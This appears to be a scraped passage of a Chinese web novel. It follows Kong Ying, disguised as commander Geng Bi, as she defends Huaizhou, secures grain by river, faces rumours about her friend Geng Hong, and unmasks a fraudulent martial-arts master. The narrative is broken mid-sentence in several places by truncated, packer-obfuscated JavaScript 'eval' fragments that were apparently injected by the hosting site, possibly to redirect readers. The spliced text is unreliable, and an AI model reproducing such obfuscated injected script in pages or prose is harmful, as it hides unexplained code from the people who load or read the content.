孔穆沉默良久,蹲下拾起羽扇,亲耳听妹妹说出这些九死一生的遭遇,他实在是难受得说不出话。 虽然只是家中次子,但被护国公寄予厚望的孔穆肩上的担子不比孔肃轻多少。自幼熟读圣贤书,七岁背得百家言,孔穆最激烈的叛逆就是那年违背父亲的命令,跟随大哥派来的人逃离护国公府。 彼时小妹还扎着两个形如圆丸的发髻,悄悄打开后院的门放他出来,又拉着护国公问武术招式拖延时间。 “放心小妹,爹最疼你,肯定连罚跪都舍不得。你的大恩大德,二哥牢记在心。”孔穆心里全是即将获得自由的兴奋,没看见小妹眼底的羡慕。 后来护国公把想让孔英和楼修生成婚一事和孔肃孔穆通过气。两兄弟都记得那个年纪轻轻却少年老成的少年,得知他成了国师亲传弟子,孔穆心里颇不平衡,毕竟自己当初想要拜入国师门下还被一口回绝。 不过他们都将楼修生对孔英的照顾看在眼里,如果真要选个人,选他也不是不行。 彼时的护国公和两兄弟都很自傲,以为自己能将出身贫寒的楼修生掌控在手里。 “你……”那一箭是真的射偏,还是心慈手软? 孔穆止住话头,不忍心再问下去。况且孔英射出那一箭,已经足够表明她的态度。 “小妹,如今局势复杂。你能认出他,他怕是也认出了你,若他知道你没死,真对你有杀心,难保不会再使些肮脏手段。” 孔英没有立刻回答,烛光照得人脸上明明灭灭。 若楼修生对她起杀心…… 孔英故作轻松:“我能活下来一次,就能活下来第二次。况且二哥你不是也知道国师给我算的命嘛,过了十七岁的大劫,我可是一辈子非富即贵啊!” 孔穆见她到了这种时候还有心说笑,又气又好笑,但心里也确实放松些。至少说明赵衡一事对孔英仍在接受范围之内,他就知道小妹是不会被轻易打倒的。 他走近几步,将手轻轻搭在她的肩膀上: “不是你的错,是我们错了。”错得彻底。 - 营帐内,灯火昏黄,赵衡右耳缠上层层叠叠的白色绷带。他坐在主位上,手中端着一杯热茶,却并未饮下。 “将军,这简直是奇耻大辱!”身旁的副将满脸怒容,拳头重重砸在桌案上,“那指挥使分明是有意羞辱您,若是擒获此人,定要让他碎尸万段!” 众人义愤填膺地咒骂,身处事件中心的赵衡神色莫测,抬手制止他们的话语:“够了。” 所有人都听出赵衡的不虞,整个营帐顿时鸦雀无声。 众将领抬头看向他们的主帅,赵衡本就苍白的面色更加虚弱,看上去像是个病弱美人,但领教过他狠辣手段的众人却丝毫不敢有不敬的心思。 “此时我自有决断,”他缓缓放下茶杯,语气不容置疑,“都出去,让我一个人静静。” 手下们不敢多言,纷纷躬身退出营帐,只剩下赵衡一个人独坐椅上。没有旁人围观,他卸下所有力气靠在椅背上,一闭上眼脑海中不由自主浮现出那日城头上的身影。 英姿飒爽傲然独立,身上铠甲在烈日下熠熠生辉。手中的硬弓拉满,就连要取他性命的动作也流畅得如同行云流水。分明是男装,他依旧一眼就认出了这是自己久别重逢的妻子。 “孔英……”他喃喃自语。 一年前那个莽撞滥发善心的小姑娘,如今已成为战场上的杀伐果断的指挥使。赵衡胸口涌上莫名的酸楚与骄傲,她该是经历怎样的种种才成长到如此境地呢? 手不自觉摸上右耳的绷带。 这一箭只差几分就会射中他的脑袋,他运气好偏了头,于是这支本将结束他性命的箭只是射穿了他的耳朵,让他成为接下来一辈子当个独耳怪人,为孔英的怨恨赎罪。 赵衡心里清楚孔英或许永远不会原谅自己。他们是夫妻,也是敌人,中间隔了他一直以来的阴谋算计,隔了血海深仇,孔英应该恨他。 赵衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵衡后来还成了护国公府的女婿,一年前护国公三小姐出嫁的消息,京城可谓无人不知无人不晓。要是这段往事暴露,有心人就可大书特书,三人成虎,那护国公府真是落到里外不是人的境地了。 她和二哥已写密信给父亲和大哥说明状况,快马加鞭,希望能得出个两全其美的办法。 再者……国师到底在其中充当了何种身份? 身为赵衡之师,难道真对徒弟的所作所为一无所知吗?可赵衡长居深山,国师不知情倒也说得过去。孔英下意识不愿意去怀疑燕寒松。 原因无他,要是堂堂南朝国师都掺和进了前朝复辟一事,这未免太骇人听闻。当初征讨赵朝,燕寒松可谓居功至伟,如今又有什么理由要去帮赵衡复兴前朝呢? 但所有事又太过巧合,似乎有许多看不清的细线将燕寒松和这一切牵连到一起。 43. 孔英要振作练新兵 夜风微凉,树木筛下细碎的月影。赵衡负手立于树下,一身玄色劲装几乎与夜色融为一体。几不可闻的叹息逸出唇畔,回应他的只有寂寥的秋风。 赵衡一直等到天色将明,期盼的身影还是没有出现,自嘲地扯了扯嘴角。 这么看来,孔英,不,现在该称呼南朝的耿指挥使,比他要清醒得多。 避其锋芒吧。 赵衡始终不想和孔英在战场上正面交锋,可自己身上的责任压得他喘不过气。于是回到前朝军营后,他一改先前的速袭强攻,转而派多支军队从怀州四处分散进攻。 众将领并无异议,毕竟先前的战败让他们损失不小,如今正好让他们休养生息。等修养好了,定要将怀州一举拿下! 前朝军暂歇风浪,怀州军则摩拳擦掌。 之前的一箭让孔英在军中的声望提高不少,怀州军的统领容淳也对她的本领侧目。 暂且将胡乱如麻的烦心事放在一边,眼下最重要的任务是如何将丢失的城池重新夺回来。孔英跟着容淳站在营前高台上检阅军队,一身软甲衬得她身姿挺拔如青松。 一名士兵小跑着前来禀报:“统领,营外五里处发现一股不明身份的流民,大约百人,携有简陋武器,正向大营而来。 “为首者自报名号唤作‘孟超’,说是要带着手下来参军!” 孟超? 这名字好耳熟,怎么跟她在容水县认识的一个山贼名字一样。是这名字太大众,还是世上巧合就是这么多? 孔英依稀记得,当初孟超蒙冤一事了结后就恢复良民身份,怎么这战乱时节不好好待在尚安全的阳州,反而来了怀州。 不过孟超此人也是有些本事在身上,还曾做出过以山匪身份告官的事,若真是他,如今带着一众手下来参军倒也不稀奇。 容淳从没听过孟超的名号,现下又是敏感时节,眉头微皱,让士兵做好戒备严加盘查。 日落西山,城门外传来一阵骚动。孔英好奇,和容淳一起登上城门,扫视着城外官道上那支正缓缓靠近、形貌奇特的队伍。 为首者青衫磊落步履从容,正是许久不见的孟超。而他身后跟着百十个穿着五花八门、扛着锄头、木矛甚至抱着山鸡的汉子。 身旁的副官低声向容淳禀报:“已查验过,他们确无大规模兵器,多是些农具家什……自称投军。” 说最后一句话时,副官语气中透出怀疑。毕竟孟超等人看上去不像来参军,反而杂乱得像逃难的。 孔英微微颔首,目光锁定城下那青衫身影。 城下,孟超已率众在护城河外停下,仰首望向城楼。他整了整本已就整洁的衣襟,对着城楼上的身影作一揖,声音不高却清晰有力: “草民孟超,携山中乡邻百余众,投奔参军!” 此情此景,倒让孔英想起自己落魄时想去剿匪拿赏金的往事。彼时她尚稚嫩不晓世故,被挡在山寨外不得进,结果此一时彼一时,现在她和孟超的境地居然掉了个头,莫名透露出几分滑稽。 而且看样子,孟超完全没认出眼前的耿指挥使就是当年的孔英。 容淳放不下戒心,出声问:“既称草民,又为何聚众持械擅自靠近军城,形迹可疑,意欲何为?” 孟超遭到质疑神色不变,语调依旧平和: “我等原本只求安生度日,奈何战火频仍。‘皮之不存,毛将焉附’,草民等微末之躯,愿投效麾下,尽绵薄之力!” 他顿了顿,目光扫过身后的父老乡亲,道: “我等虽无大才,却尚有几分蛮力,充作民夫杂役亦可。不敢求阵前杀敌,但求尽己所能,使家国得以保全!此心昭昭,天地可鉴!” 城楼上,容淳和身后的副官听得有些发愣,暗想真是人不可貌相,孟超看上去粗人一个,没想到说话比那些掉书袋的师爷还要文绉绉。 但听上去,居然言辞恳切得让人有些动容。 孔英心中亦是暗自称奇。她虽对孟超有些了解,但印象里的人当惯了山匪,身上多少还是有些匪气。而如今,对方身上居然半点都看不出山寨主的模样了。 坏境对人的影响还真是大。 容淳依旧板着脸,声音冷冽:“说得倒是冠冕堂皇,但人心叵测,本将焉知尔等非敌军细作,假借投军,行里应外合之实?” 孟超闻言反而更加坦荡:“将军可派人严加盘查我等身份,或遣散我等只留孟超一人在军中为质。若有一丝异动,孟超甘受千刀万剐之刑!” 这话说得可真狠。 孔英瞥了眼看不出喜怒的容淳,心里其实摸不准容淳是否会让孟超进城。她与孟超交往不深又许久未见,不能肯定孟超的话是真是假。 且就算自己有心替孟超担保,她也不能暴露自己的真实身份和过往,又要怎么说服容淳相信自己。 只好让容淳自己做决断了。 对峙良久,容淳缓缓抬手示意属下:“开城门。” 副官愕然:“统领?” 容淳扫过副将,后者立刻噤声。他的视线重新落回孟超身上,道: “孟超,记住你今日所言。尔等入城之后暂归西北军统辖,一应调度,听候军令。若有半分差池,军法无情!” 孟超闻言大喜,再次向城墙方向深深一揖:“谢将军成全!” 这下子轮到孔英愕然了。她完全没想到这里面还有自己的事,既惊讶于容淳允许孟超入城,也不解于孟超等人被划分到了她军下。 不过容淳半点没有解释的意思,只是吩咐下去安置好孟超等人便离开了。 孔英看着孟超领着那支“奇兵”有序入城。故人相见不相识,没想到她曾一心要取孟超首级去换赏钱,如今兜兜转转,两人却成了一致抗敌的战友。 造化弄人。 容淳一句话当了甩手掌柜,莫名新收一支百人野军的孔英倒是多了不少麻烦事。 孟超等人心有报国志,有一股子招架的牛劲,可战斗力和正经受过训练的士兵差距还是不小。如何将这支队伍在短时间内训练得有模有样,孔英花了不少心思。 军中多了这么些人,兵卒对新来者充满好奇,也不乏鄙夷其众粗鄙浅陋者。孔英刚入军营时就曾受过老兵的骚扰,自己领兵自然是对这类现象严加杜绝。 重罚几个出头鸟以儆效尤后,此类行为就少了许多。 军中教习把总的周铁面,向来铁面无私如阎罗,被孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟超正结束训练,在树下闭眼小憩,迷迷糊糊被人推醒,就见周铁面冷着一张脸出现在自己身前。 “你小子好运气,耿指挥使封你当小队长,好好把握!”其中利害关系周铁面并不细说,反正等孟超到了西城自己慢慢琢磨去。 孟超乍然得知这个消息还有些发愣,不过周铁面既然说他好运气,这就肯定不是个坏事。这么些天相处下来,虽然被训得腰酸背痛,但他知道周铁面实际是个忠厚正直者。 耿指挥使,似乎是那天跟在容淳统帅身侧之人。若有机会,他定要好好感谢对方。 小队中的人挑出来。名单上除了孟超,还有个孙泰的名字也十分眼熟。 思来想去,孔英恍然:这不就是那个山寨二当家嘛。当时她打败六当家石知杰后就该和孟超比武,结果孙泰半道冲出来给石知杰抱不平,还想从背后偷袭她。 孔英最恨偷袭小人,将孙泰狠狠揍了一顿。 当时的恩怨当时就已了结,孔英还不至于为这种事卡着对方的路,于是点头批准,孟超等人即刻派往西城。 44. 孔英要鱼雁请送粮 护国公的回信出乎意料地快,信笺展开,笔触力透纸背: “英儿吾女……” 护国公在信中大骂特骂赵衡藏头露尾、蛇蝎心肠,愧疚于当初自以为能护孔英周全,没想到反而险些葬送爱女性命。 他嘱咐,暂且不可让旁人知晓赵衡与护国公府有瓜葛,以免招致不必要的麻烦。 “若赵逆在京尚有暗桩,必须根除!但此事不可由你在怀州妄动,一则易打草惊蛇,二则易授人以柄。其余事为父自有安排,你眼前只需专注于怀州安危!” 护国公没有详说自己的计划,不过字里行间似乎已有把握。孔英远在怀州也帮不上什么忙,只好按照父亲信里说的专注于眼前战事。 盛夏酷烈,近日来,城外前朝军的袭扰变本加厉,不断袭扰粮道、焚毁哨所,还从不正面迎战,令人烦不胜烦。 更糟糕的远非如此。 “统领,现存军粮,至多再支撑半月。” 孔英、孔肃与容淳并肩站在巨大的怀州地图前,眉头紧锁。地图上代表怀州的标记,被重重朱砂圈起。 容淳手指重重敲在几案上,发出沉闷的响声,难得气愤得情绪外露: “朝廷的粮草呢?!上月便已发出八百里加急,如今粮草迟迟未到,难道要我怀州将士饿着肚子守城,还是要怀州拱手让人?” 城内粮商手中余粮也快被征调殆尽,再这样下去,他们就只能开始挖草根树皮了。 “已经遣了三波快马分不同路径北上,可是……” 孔英皱紧眉头,她深吸一口气,强压下心中的焦虑。缺粮的消息肯定到了朝廷,但运来的粮草还不知道得什么时候到,这中间到底是出了什么岔子,竟然让他们陷入如此被动。 孔肃道:“如今内忧外患,远水解不了近渴,可否向邻城借粮暂度难关?” 容淳叹息:“邻城受叛军袭扰,恐怕自身难保,但也只能一试。” 民以食为天,更不用说在这种特殊时节。孔英顶着毒辣的日头,心烦意乱地巡视城内,不知不觉间走到河边。 受战乱影响,码头不见往昔的繁忙景象,只有稀稀拉拉几艘漕船停靠在侧。 孔英想起严长福曾和她说过的七贤郡旧事,同样是被被困围城,同样是危难关头。七贤郡最后沦陷,难不成怀州的命运也要如此吗? 船主模样的人一边擦汗,一边指挥着苦力卸货。 嘶…… 孔英忽然停住脚步,脑袋里冒出个人来。 粮,她不久正好认识个粮商吗! 朝廷的粮草向来走驰道陆路不用水路,眼下陆路走不通,那若是走水路,这粮草是否能来得快些? 总归不能坐以待毙。 孔英立马回到营内,提笔蘸墨写下一封送往南至郡的信。 “十万火急!速调粮秣解怀州燃眉之急,事若办成,我定替你请赏获封,千钧一发,翘首待援!” 虽然她不能肯定万两金是否能帮上忙,但若是多一条路,便多一分希望。 即使用上最好的驿马,来往州郡之间也有些时间。为节省余粮,容淳不得不调整军中伙食,粮仓见底的消息根本瞒不住。 就在人心惶惶之时,终于来了个能让他们暂且松口气的好消息。 “邻城答应借粮了!”通报的副官闯进营帐,而后带着些犹豫道,“只是数量不多,约可供怀州上下七日,明晚可到。” 七日不长,这估计是邻城在保全自己的情况下能拿出的最大量了,好歹让他们多了喘息的余地。 未免事端,容淳派出人马去接应送粮的军队,一路小心谨慎将借来的粮食运进城。所幸路上有惊无险,孔英摸着粮车,心底稍微踏实些。 还是得想办法突围。 官粮还不知到了何处,孔英向容淳请命,由自己带一队人马北上,亲自确保官粮安全快速送到怀州。 “借粮能缓一时之急,却不是长久之计。若是再这般下去,恐怕怀州支撑不到反攻的时候。” 这话说得在理,但容淳却不大愿意让孔英出马。孔英先前一战成名,若是她在军中,敌军就不敢轻易来犯,怀州军也更有底气。若是她走了,军中的风言风语怕是更加厉害。 “副官,你带一支人马即刻出发,务必保证官粮送达!” 副官一愣,看了眼耿指挥使,随即领命应下。 孔英不清楚容淳弯弯道道的心思,还以为容淳是不信任自己,虽然无奈,却又不得其法。 毕竟她初出茅庐,即使之前在西北军里有些名气,到了怀州还是从头再来。护粮这样重要的任务,容淳交给亲信而不是交给她,倒是可以理解。 孔英暗自下决定,一定要做出点成绩证明自己。 时值梅雨将尽未尽的时节,南至郡笼罩在薄纱般的烟雨之中。 此时已将家业重新振作的万两金正安坐“醉仙楼”内,与桌边另一人对坐品茗,商议着新一季的米粮供应与酒楼合作的事宜。 若是孔英在此,定会对另一人感到十分眼熟。面如满月,云鬓高挽,神态和蔼可亲,这不正是阳州的酒楼老板娘蒋芸嘛! 两人相谈正欢,彼此都对达成一笔划算大买卖很满意。 管家步履匆匆地穿过走廊,拿着一封火漆封缄的信函叩响房门:“老爷,怀州八百里加急的信!” 万两金感到莫名,怀州不是正在打仗吗,他也并无亲友在怀州,怎么会有他的信? 拿过来一目十行一看,“困于叛军环伺、粮道断绝,存粮告急,军民悬命于旦夕……”,越看眉头皱得越紧。 直到看到信尾落款,万两金“噌”的一下站起,神色明显焦急,略含歉意对蒋芸道: “蒋老板恕我招待不周,我有要事要办,您请自便。”转而对管家道,“立刻备船!召集所有掌柜、管事!马上!现在!” 蒋芸被这突如其来的变故惊了一下,她放下茶盏站起身,声音沉稳而清晰:“万老板若是有什么困难处不妨说出来,或许我能帮上忙也说不定。” 万两金深吸一口气,简单明了解释他的恩人现在被困在怀州,可官粮被阻,城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“粮,是粮船,南至郡的粮船到了!” “我们有救了,怀州有救了!” 船临岸边,万两金率先下船。容淳上前一步,抱拳行礼:“本帅容淳,怀州军统帅。万老板一路辛苦,怀州军民,感念大恩!” 万两金作揖回礼:“久仰容帅大名,救城如救火,万某不过是尽点本分。” 一个温润清朗的声音响起:“万老板一路风尘,辛苦了。” 孔穆刚从孔英处知晓她和万两金的过往时,心中就忍不住感叹家妹的奇遇。怪不得孔英成长了许多,这些年里她确实是经历不少。 此时也是受孔英所托,来迎接这位解了怀州燃眉之急的人。 容淳一声令下,早就准备好的士兵和脚夫整齐有序涌向各艘粮船,将船上的一袋袋粮食运往城内粮仓。 孔英在城墙上看到了码头上发生的一切,心中石头总算落地。种因得果。她之前帮助万两金时,如何能想到今日之果呢? 45. 孔英要献计平谣言 粮仓充盈,士气如虹。有了粮食也有了底气,怀州将领纷纷摩拳擦掌,计划如何反攻逆军。 “叛军袭扰不断,分明是想钝刀子割肉,耗死我军。如今粮足兵壮,正当主动出击!” 容淳目光扫过沙盘上标记出的敌我态势,试图从中看出敌军薄弱点,与军师孔穆视线交汇,心中有了算计。 孔穆指尖点在地图上一处道:“此地乃逆军囤积辎重之所,守备森严,强攻必损失惨重。若能有人领一支精兵,自后方绝壁潜入,里应外合……” 容淳语气忧虑:“精兵易得,可此地地势凶险,若是身无绝技者,恐怕很难做到。” 身怀绝技? 孔英眼中光芒一闪。上次万两金解了她燃眉之急,也让她打开思路,将自己行走江湖时所遇到的人都想了一遍。 其中,有位武林盟主隐居岱山,避世而不出,白白在山野浪费自己一身本领。 身怀绝技,能攀岩潜入峭壁,这就差直接说张三的名字了! “容帅,我知道一人,武林盟主张三。” 武林盟主?此话一出,众人纷纷看向孔英。 孔英顿了顿,补充道:“此人常年隐姓埋名于岱山,若能请动他相助,潜入敌后乱其根本,我军正面强攻,必能事半功倍。” 容淳拍桌:“好,指挥使速修书请盟主出山,此计若成,当记首功!” 孔英应下,有了盟主相助,自觉此举定能重创前朝军,开启大反攻。 待众人散去,孔穆面露狐疑悄声问孔英:“你从哪儿认识的武林盟主?” 孔英将原委细细说了,孔穆挥挥折扇沉思,呢喃道:“怎么听你说的,这张三全然不像个盟主。你可与他过招?” 孔英诚实道:“未曾。”补充,“可他一眼看破我慧根未开,肯定是有真材实料。张三不愿出手,大抵是因为自持身份,不愿和我这种小辈比试。” “怪了。不过你确定他愿意从岱山来怀州?” 孔英叹气:“我已在众人面前夸下海口,一请不成便三请四请,总归有办法。” 孔穆闭了闭眼:“……真是不知道怎么说你。”尽将这种难事敛到自己身上,要是成功还好说,要是失败,岂不是白白落人口实。 有了万两金的成功例子在前,孔英难免对张三抱有幻想,当天就言辞恳切书信遣往岱山郡,叙述怀州危局与黎民倒悬之苦,请张三出山。 伤兵营内弥漫着药草与血腥混合的气息,耿红鬓角已被汗水浸湿,动作麻利而轻柔,正为一名腿部重伤的士兵换药。 孔英认回家人后曾说要给她赏赐,感谢耿红救自己于性命垂危,被她婉拒了。耿红这人不图虚名利益,她本就没什么大追求,只想安安稳稳过一生。 阴差阳错跟着孔英参军当了军医,这种生活比她原本在镇上当大夫的时候当然要劳累许多,可获得的满足感也多了不少。前半生碌碌,后半生卷入了这般生活,而她居然有些乐在其中。 有时候耿红自己都不知道自己在想些什么。 从营外抬进一个担架,上面躺着一个面色惨白、手臂流血的汉子。耿红用清水净了手,正准备查看其伤势,那人虚弱地睁开眼,看见耿红时却颇为吃惊。 “……耿红!” 耿红疑惑,军中人大多称她耿大夫,甚少这般直呼其名,况且看着人反应,怎么像是从前就认识她。 她细细看去,越看越眼熟,不确定地喊道:“陶邯?” 陶邯难掩激动,人在异乡参军作战,居然能碰上老乡,他快要两眼泪汪汪了。 耿红也心中感慨。她当初和失忆的孔英从山里搬到镇子上生活,囊中羞涩,她当大夫,孔英卖力气挣钱,陶邯就是彼时与孔英共事的力夫。 她俩初来乍到人生地不熟,陶邯这人热络话多,被冷落了也不气恼,算是她们仅有的朋友之一。可惜后来没过多久,孔英就带着她去西北参军,几人再无联络。 想到什么,耿红察觉一丝不妙,就听陶邯问: “耿碧呢,是否也在怀州?” 糟糕,孔英当初是用她妹妹的名字参军。可陶邯印象中的耿碧分明是个女人,要是他知道西北军的指挥使也叫耿碧,这不就暴露了吗? 耿红不敢多说,只能当作正好转身没听见,取来纱布为陶邯包扎。手上疼了,自然没心思想别的事,陶邯叫嚷着请耿红轻些,一下子把刚才的事忘到天外。 将陶邯安抚好,耿红立马去了孔英营帐。 “天地真小,怎么在怀州还能碰上以前的故人。” 孔英感到头疼。 陶邯一个有耳朵有嘴巴的大活人,她总不能把人关起来。要是传出什么闲话,她还真不知道怎么解释。难道要效仿之前对付王康的手段吗?她现在可再做不出来了。 “如果我说,我先前是男扮女装,只是喜欢异装,你觉得他会信吗?” 耿红不说话,用看傻子的眼神看了眼孔英。 孔英没办法,挠了挠头:“实在不行,抵死不承认呗。就说你除了有个叫耿碧的妹妹,还有个叫耿碧的弟弟?” 这事着实让人烦恼,后来军中确实传出了闲话。 可让两人都没想到的是,闲话不是关于孔英,而是关于耿红。 “是啊是啊,没想到医者仁心耿大夫,私底下居然是个谋杀亲夫的毒妇!” “简直是蛇蝎心肠,听说她丈夫被人发现时,身子都被野兽吃掉了半截呀。” “知人知面不知心,我呸!” 耿红面色发白,人几乎要昏过去了。 她不知道这个消息是从何处传出来,可前几日正巧和同乡陶邯重逢,实在让她难以不联想到陶邯。 陶邯面对耿红的质问,支支吾吾说不出话,后来抵不住压力,承认是自己和兵痞谈天时说漏了嘴。 他神情闪烁:“当时你们走后不久,镇上就传你们是杀了人畏罪潜逃。我当然清楚你们不是什么恶人,只是把这件事用来当作谈资,结果他们几个越传越离谱了。” 偏生这种谣言还不好澄清。 当初孔英是为保护她才失手杀人,耿红若是说出实情,不可避免要牵连出孔英的身份来。可若是仍由谣言发展下去,耿红跳进黄河都洗不清。 谣言愈演愈烈,一开始耿红还想当作无事发生,继续做自己该做的事。可别人一听说她是杀夫的恶女,就算是受伤直流血也不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此事早已过去无人追究,再者有孔英表明态度护着,没人再敢对耿红传闲话。 至于陶邯,孔英找了个由头将对方派到别处,眼不见为净。 “红妹妹这事做得太冲动,原本捕风捉影没证据的事不承认就是,这般应下来,说不定就埋下了隐患。” 孔英瞪一眼站着说话不腰疼的孔穆,没好气道:“事情过去了你成诸葛亮了。有说风凉话的劲头,怎么不见你神机妙算歼灭敌军?” 耿红拉了拉孔英的手:“军师说得也不无道理。”她叹气,“有隐患就有隐患吧,水来土掩。” 孔英一见耿红叹气,自己也想跟着叹气。她停顿一下,将要叹的气咽下去。 “那你真准备离开?” 耿红扭过头,看窗外熙攘的人群。 “就算此事了结,我心里总有个疙瘩,正好趁这段时间潜心提升医术。”她对孔英露出一个笑,“我只希望你别觉得我是在这种时候抛下你。” “怎么会呢。” 46. 孔英要草率遭降罪 本以为张三在危难之际该挺身而出,结果孔英却收到属下来信说他不愿来怀州,甚至连见他们都不愿意。 孔英搞不懂是怎么回事,只好又写下一封晓之以礼动之以情的书信送去。 属下回信:指挥使,那盟主连信都不看,直接撕了! 孔英怒而写下:不论用什么办法,绑也要把他绑来! 三日之后,属下风尘仆仆地回来了,还带回来一个用麻绳捆得结结实实、嘴里塞着破布的人。一身长衫破破烂烂,头发散乱,眼神惊恐万状,看不出半分武林盟主的英姿。 孔英大惊:“你们怎么绑着他?” 属下挠头:“您不是说‘绑也要将他绑来’吗?” 孔英扶额,扯开他嘴里的破布,张三立马哭喊:“你们光天化日虐待老人,还有王法没有?老天爷啊,抢劫啦,杀人啦!” 孔英好言好语劝了许久,都不见张三的声响减弱,只好又一伸手将破布塞了回去。和属下对视一眼,总算知道了这块布的用处。 “张盟主,这里是怀州军营,我们不是坏人,是特地请您来帮忙的。如今家国危难,正需要您这样的人挺身而出。” 话是不错,就是场景不对。 就连孔英说着说着都自我怀疑起来,眼前这个被五花大绑的张三,真是武林盟主吗? 张三听了孔英的话,面若死灰,原本扭动的身子沉寂下来。 见他不再挣扎,孔英试探性取下破布,又亲自给他松开绑绳。继而居然看见张三面上留下一连串泪,战栗着跪倒在她脚边。 “将军,将军饶命,小的就是个骗子,是个混吃混喝的草包,根本不是什么武林盟主啊!” 陪同的几位将领和亲卫们瞬间哗然。尽管早有种不祥的预感,孔英听到张三亲口承认,还是忍不住闭了闭眼。 “怎么回事?” 容淳在一众喧哗声中走进来。他原本是听说盟主抵达怀州,不料却看见了这样一幕。 这乌龙闹大了。 孔英当初夸下海口时有多风光,现在就有多狼狈,不得不将原委一一说与容淳,不出意外看见对方面色铁青。 容淳压抑着怒火扫了一眼孔英,先是对张三发问:“你为何冒充武林盟主?” 张三被那目光吓得魂飞魄散,再也不敢有丝毫隐瞒,一把鼻涕一把泪地哭嚎起来: “将军饶命,小的也不是故意冒充,最开始只想骗点吃喝,但这招实在好使,就……就这么用下来了。” “这么说,你就是个江湖骗子?” 张三在容淳的目光中瑟缩了一下,唯唯诺诺道:“要不是生活困顿,小的也不想骗人啊……” 容淳冷笑:“你有手有脚,偏走这些歪门邪道。那张三也不是你的真名?” 张三支支吾吾说不出话,容淳见他这副样子就知道对方还有隐瞒,心里更来气,上前一脚将他踹倒在地。 “说,你姓甚名谁,祖籍何处,究竟还做过些什么见不得人的事。若有半点虚言,军法伺候!” 张三痛呼一声,哆哆嗦嗦爬起来重新跪倒在地,将头埋得低低的,声音惊恐: “说,说!小的都交代……小的原名张德良,继海府天贵镇人。十多年前前朝强征壮丁,小的被硬拉进了军队里。 “将军,小的真不是怕死啊!而是那战场,那根本不是人待的地方!” 张三声音带着哭腔歇斯底里: “那年冬天,风像挂骨头的刀一样,我们穿着单衣草鞋在雪地里行军,脚冻烂了,流脓流血,走一步一个血印子,若走得慢了还要被抽鞭子! “到了前线刚扎下营盘,还没看清敌人长啥样,天上就飞来一片黑压压的箭,像下雨一样!噗嗤一声,身边的老乡被一支箭射穿了脖子,他眼睛瞪得老大,嗬嗬地叫不出声,就那么倒下去……” 孔英听着,心里颇不是滋味。她也是从小兵一步步爬上来,如何不知道张三的话是真是假。就是因为她知道战场有多残酷,因而更能对张三的话感同身受。 “长官还拿着刀在后边逼着。上前是死,退后也是死……” 张三缩了缩脖子,鼻涕眼泪糊了满脸:“小的不想死啊,小的家里还有瞎眼的老娘等着呢!就趁着天黑,乘乱把死人的血往身上一抹,躺在死人堆里装死。 “小的连气都不敢喘,熬了整整两天两夜,才从死人堆里爬出来跑了。” 周围一片死寂,只有张三那断断续续的讲述。仿佛涌起了看不见的潮水,压抑得人喘不过气。 张三不敢回家,怕被当逃兵抓回去砍头,把那些日子攒下的军饷给老娘寄回去,之后一路靠着要饭过活。正饿得前胸贴后背的时候,路过茶馆听人说书,说什么武林盟主行侠仗义、得道多助。 鬼迷心窍,张三骗人说自己就是武林盟主,靠战场上学来的几招,居然也有不少人相信。但有次在岱山碰上了真的练家子,张三被一顿暴揍,只好逃到山窝里暂避风头。 机缘巧合找到不知是谁挖出的山洞,张三经过这么些居无定所的逃亡日子也累了,索性就在岱山上住下,一住就是好多年。 “小的就是个只会骗吃骗喝的烂泥,哪会什么武功啊。将军您就放我一马,当我没来过吧!” 容淳冷面:“你可知道,冒充盟主耽误了军机,是要被军法处置的?” 说起这事,张三还觉得委屈:“将军,小的也不是有意欺骗您。一开始小的就说不想来,小的是被绑来的啊!” 孔英不自在地摸了摸鼻子,咳嗽几下将众人的目光转到自己身上,硬着头皮劝: “将军,虽然张德良是个逃兵,但他是前朝的逃兵,也不归咱们管。” 这件事不管怎么说,她确实有责任。要她眼睁睁看着张三被军法处置,孔英也做不到。容淳久久不说话盯着她看,孔英心里开始打鼓,摸不准他的想法。 良久,容淳挥了挥手,妥协:“放了吧。” 张三一听,顿时欣喜若狂,环着周围人行了几个大礼,踉跄着小跑跟随士兵出去。 孔英远远看着他衣衫褴褛的背影转过拐角再看不见,心里忽然生出点羡慕,反应过来后又自觉好笑。 她堂堂一个指挥使,干嘛要羡慕一个逃兵呢? 经历张三这么一遭,营帐内气氛沉闷不少。一是因为张三说的话,大概就是他们每天真实的见闻;二是因为没了所谓武林盟主的助力,原本的反攻计划遭到搁置。 “耿指挥使,一个靠着编故事混日子的酒囊饭袋居然能蒙蔽你,还为此大动干戈,派人千里迢迢把他从岱山请来,耗时耗力,就为了给怀州请来一个天大的笑话?” 孔英心底一凛,干脆利落地认错:“末将识人不明,甘愿受罚。” 容淳面色有些难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孔穆微愣,突然一下子没反应过来孔英哪还有姐姐。他将药膏等物放在桌面上,用折扇轻轻敲了敲孔英的脑袋: “姐姐不在,兄长难道不一样?” 